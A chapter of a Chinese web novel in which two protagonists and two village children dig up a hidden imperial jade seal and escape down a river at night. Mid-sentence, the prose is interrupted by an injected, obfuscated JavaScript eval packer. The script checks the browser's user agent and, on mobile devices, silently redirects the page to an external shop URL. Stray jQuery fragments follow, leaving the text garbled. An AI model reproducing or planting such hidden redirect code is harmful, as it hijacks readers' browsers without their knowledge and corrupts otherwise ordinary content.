默认冷灰
24号文字
方正启体

46. 第 46 章

作者:姜黄不迟本书字数:K更新时间:
    鱼头人干脆利落地跃入河中,弓起身子,把头埋进浑浊的水里,双手攥紧锄头奋力挖掘。


    河神微眯着眼打盹,仿佛料定他们不会逃走,连一瞥都未曾分来。


    “赵海在这月下河里藏了东西。”玉万珰转动着手腕,试图挣脱绳索,可那绳子不知是什么绑法,越是挣扎就收得越紧。


    邵冬生从袖袋中抠出一截小指长的刀片,小心地磨割绳结:“这个黑泥鳅没有脸”她微瞟远处仍盘踞在河心的黑影,“幻术再厉害也改不了现实,这里根本不是月下河。”


    玉万珰一怔,旋即会意。这时邵冬生已将刀片递过来:“眼下就我们两人,若直接溜走,未免太显眼了。”


    “那泥鳅……现在看不见我们了。”她转过头,映入眼帘的已不再是鱼头,而是玉万珰清晰的脸。


    玉万珰只觉眼前一花,周遭景象如潮水般褪去,渐渐显露出真实的黄昏。太阳将落未落,悬在天边,一抹残光斜照在邵冬生身后——那是一片被挖开的大坑,一群满身泥泞的人正挥舞工具奋力挖掘。再看向一边原先黑泥鳅所在的地方,空空荡荡。


    “怎么消失的?”玉万珰压低声音,两人迅速退至阴影中。


    邵冬生用目光示意他往后看。来的竟是小甘和圆圆。小甘面色惨白,仿佛力气耗尽,圆圆则搀扶着他,脸上早没了先前那般天真。


    “是你们给我们下的药?”邵冬生语气平静,却带着审视,“月下这地方还真是藏龙卧虎。寺庙方丈会制幻术引子,随便遇上的小孩也能下药,我们是不是还得谢你们,至少没要我们的命?”


    “对不住,”圆圆声音很低,“但人总得亲眼见了,才会真正相信。”他扶紧小甘,“先离开这儿吧,他们的时间……越来越短了。”


    邵冬生与玉万珰对视一眼,快步跟上。路面崎岖,两个小孩走得深一脚浅一脚,险些摔倒。


    “我们背你们吧,这样快些。”玉万珰说着,已蹲下身将圆圆拢到背上。


    “不必……”圆圆还想推拒,却被稳稳托起。


    邵冬生也背起了小甘,几人迅速朝外撤离。


    “这一路被你们瞒得团团转,现在总能说说,月下到底发生了什么?”玉万珰踢开脚边的石子,又问道,“还有,我的猫呢?”


    圆圆在他背上直起身,指向前方:“左转。猫在我家里。”他顿了顿又道:“赵海一年前回来时,留下了一件能改变这个国家的东西。寂然法师受前朝皇帝所托,藏起玉玺的事……你应当知道吧?”


    玉万珰点头:“所以赵海留下的就是玉玺?方丈所说的信物也是它?”


    “是,孙调一家便是为此而死,他第一次离开月下时就将那东西放在孙家,在回来就是蛊惑孙调杀人,玉玺被他扔进了月下河,赵海这人缥缈,没人知道他想要做什么。”


    邵冬生忽然开口:“那位寂然法师……究竟是个怎样的人?”


    圆圆沉默了片刻。


    “——是天人。”


    几人最终停在月下河的源头。眼前是一大片静谧的湖泊,铺满了整片洼地,在渐暗的天色下泛着幽深的光。


    “那间客栈又是怎么回事?”玉万珰问道,“这跟玉玺有何关联?”


    “客栈的人大多为外乡人,”小甘开口。


    邵冬生挑眉:“这幕后之人,倒是个‘天才’。”是嘲讽。


    “赵海把东西扔在哪儿了?”玉万珰望着广阔的湖面,眉头紧锁。


    “只能慢慢找。”圆圆说着,从林子里拖出藏好的捞网,“这湖太大了。”


    “你们俩……天天在这儿找?”


    “是小甘天天在找。”圆圆看了一眼身旁面色苍白的同伴。


    “找到之后呢?”邵冬生语出惊人,“自己做皇帝?”剩余三人却没什么表情。


    “皇帝……到底是做什么的?”圆圆拿起捞网,动作熟练地开始打捞,“家里的大人总说,当了皇帝就能吃最好的,住最暖的,然后……他们就再也不说话了。”


    小甘摇了摇头:“我不想做皇帝。我想让太子做皇帝。”


    “为何?”玉万珰蹲在湖边,寻找着合适的下水姿势“你并未见过太子吧。”


    “爹娘说过,河堤是太子主持修的。他们见过太子,说堤坝建成后,家里再也不怕夜里水漫进来,还能安稳打鱼。”小甘舔了舔干裂的嘴唇,“太子是个好人。他若做了皇帝,这样的事……就不会再发生了吧。”


    邵冬生从水里捞起一根湿滑的长藤:“你家人待你很好。”


    “嗯!”小甘的眼睛亮了一下,“我每晚睡得都是最暖和的被窝呢!”她试图抓紧捞网,但手指僵硬得不听使唤。


    “去歇会儿吧,你本就受了寒。”玉万珰见状,解下自己那条还算厚实的围脖,不由分说地裹住小甘裸露在外的纤细脚踝。


    这一找,便找到天色完全黑透。山下点点火光蜿蜒,如毒蛇的眼睛——那些人仍未离开。


    邵冬生闭上眼睛,赵海真的会扔下玉玺吗?既然在河里山下的人为何只掘地不在河里找?【赵海,赵海。】她之前抓到他,他说了什么,“月色江阴,胡桃颛臾”。


    “月色江阴……”她轻声念出,蓦地抬头。天际一轮硕大的明月正垂照湖泊。水之南为阴。她转向湖泊南侧——那里生着一片茂密的高草,若草再长些,阴影便能覆上水面。“颛臾,山神……”邵冬生快步走向草丛,“小甘,月下的山神庙在何处?”


    “就在你跟前。”小甘停下动作,“但很多年前就说山神不喜此地,迁走了。”


    邵冬生蹲下身,指尖拂开湿土。玉万珰立刻会意,上前相助。泥土下盘根错节,邵冬生自袖中抽出一柄精巧铁铲,玉万珰亦以状元笔撬土。两个孩子也拿来小铲帮忙。不多时,一个沾满泥泞的黑红木盒显露出来。


    邵冬生拂去盒上污渍,轻轻开启。月光洒落,盒中玉玺温润莹然,流转着静谧而尊贵的光华。


    “他们上来了!”一直留意山下的圆圆突然压低声音惊呼。


    火光渐近,人影幢幢。


    “可有其他下山的路?”邵冬生合上木盒,塞入玉万珰怀中,迅速覆土掩痕,收拾散落之物。


    “没有,林中是死路。”小甘在这里躲了许久,早就将这里摸清楚。


    玉万珰目光瞥向一旁奔涌的河水——那是从湖泊溢流而下、直落山崖的月下河源头。“走水路!”


    别无选择。邵冬生抓起那根长藤,将四人腰身紧紧捆缚在一起,把两个孩子护在臂弯。“抱紧我!”


    四人纵身跃入冰冷的激流之中。


    河水瞬间没顶,刺骨的寒凉如针扎般席卷全身。湍流自高高的源头瀑布垂直冲下,他们如同被卷入巨兽的咽喉,在震耳欲聋的轰鸣中急剧坠落。


    玉万珰只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887783|192085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉得天旋地转,汹涌的水流猛烈拍打周身,怀中木盒被他以臂弯死死锁住。他竭力睁眼,只见白沫翻涌,碎石与断木在身侧翻滚掠过。邵冬生在前方,背影如绷紧的弓,用身体为身前的两个孩子抵挡最多的冲击。


    “抓紧藤蔓——!”她的喊声在水浪中破碎。


    第一个险滩在眨眼间迎头撞来。身体被巨力抛起,又重重砸进漩涡。圆圆呛了水,发出压抑的咳嗽。小甘脸色惨白如纸,却咬紧牙关,手臂死死环着邵冬生的腰。


    河水冲下陡坡后,稍微平阔,却流速不减。黑暗中难辨方向,只能任由水流挟带。玉万珰感到后背狠狠撞上水下暗礁,闷哼一声,喉头涌上腥甜。绑缚的藤蔓在粗糙岩壁上刮擦,发出令人惊寒的声音。


    “左边有石岩!”邵冬生敏锐地察觉水流变化,急声提醒。众人勉强协力,在千钧一发之际避开一处伸出的狰狞岩角。


    最危险的段落是经过一片乱石区。河水在此被分割成无数道狂野的岔流,撞上岩石激起丈高浪花。他们如同被扔进狂暴的擂钵,时而被卷入水下,时而被抛上浪尖。邵冬生看准一道相对连贯的水道,竭力调整方向,带领众人堪堪穿过石林。玉万珰的袖袍被尖锐石块划开长长一道口子。


    冰冷与窒息感不断侵蚀意识。长时间浸泡让肢体逐渐麻木。就在圆圆几乎脱力、手指快要松开的刹那,前方水声忽然变得沉闷而空旷——他们冲出了山峡!


    水流速度明显减缓,河道变宽。远处,朦胧的灯火勾勒出低矮城墙的轮廓。月下城,已过了。


    四人精疲力竭地被冲至一处浅滩。邵冬生用尽最后力气,割断几乎磨断的藤蔓,将孩子们拖上岸边湿漉的草地。玉万珰踉跄爬起,怀中的木盒依然紧抱,冰凉沉重。


    他们瘫倒在城外荒草之中,浑身湿透,狼狈不堪,只剩下剧烈起伏的喘息划破夜的寂静。回头望去,群山高嵩,吞没了来路。”


    火堆燃了起来,橘色的光晕在黑暗中撑开一小圈暖意。几人没有可更换的衣裳,只能就着湿衣烘烤,水汽在火边蒸腾而起,偶尔有水滴落下,溅湿了脚边的石块。


    “他们想必已经发现玉玺不见了。”邵冬生拧着衣角,目光沉静,“得尽快离开这里。”


    “月下是回不去了,可马车还在客栈那边。”玉万珰仍紧抱着那只木盒,指尖冻得发白,声音也有些发颤,“我们怎么回常州?”


    “我有。”圆圆忽然开口。


    “有什么?”玉万珰瑟缩着转过头。


    “马车。”


    跟着圆圆在夜色中走了一段,几人在一处隐蔽的树影下停住,眼前赫然是一匹眼熟的马,拉着更加熟悉的车厢。


    “这不就是我们的马车吗?!”玉万珰愕然。


    “嗯,小甘提前赶过来的,以防万一。”圆圆搓着冰凉的手臂,小声说道。


    两人迅速从车厢里翻出干净的衣物,先给两个孩子换上。待到自己也收拾妥当,马车终于轻轻一动,轧着夜路向前行去。


    “若是我们今晚没找到呢?”玉万珰掀开车帘一角,瞥见角落里那只鼓鼓的布袋——他的猫正窝在里面睡得安稳。


    “那就再把车赶回去。”小甘的语气平淡得像在说一件寻常小事。


    邵冬生握着缰绳,许久没说话。夜色铺在眼前的路面上,幽幽的,看不真切。半晌,她才开口:“跟你们比,我还是太逊色了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)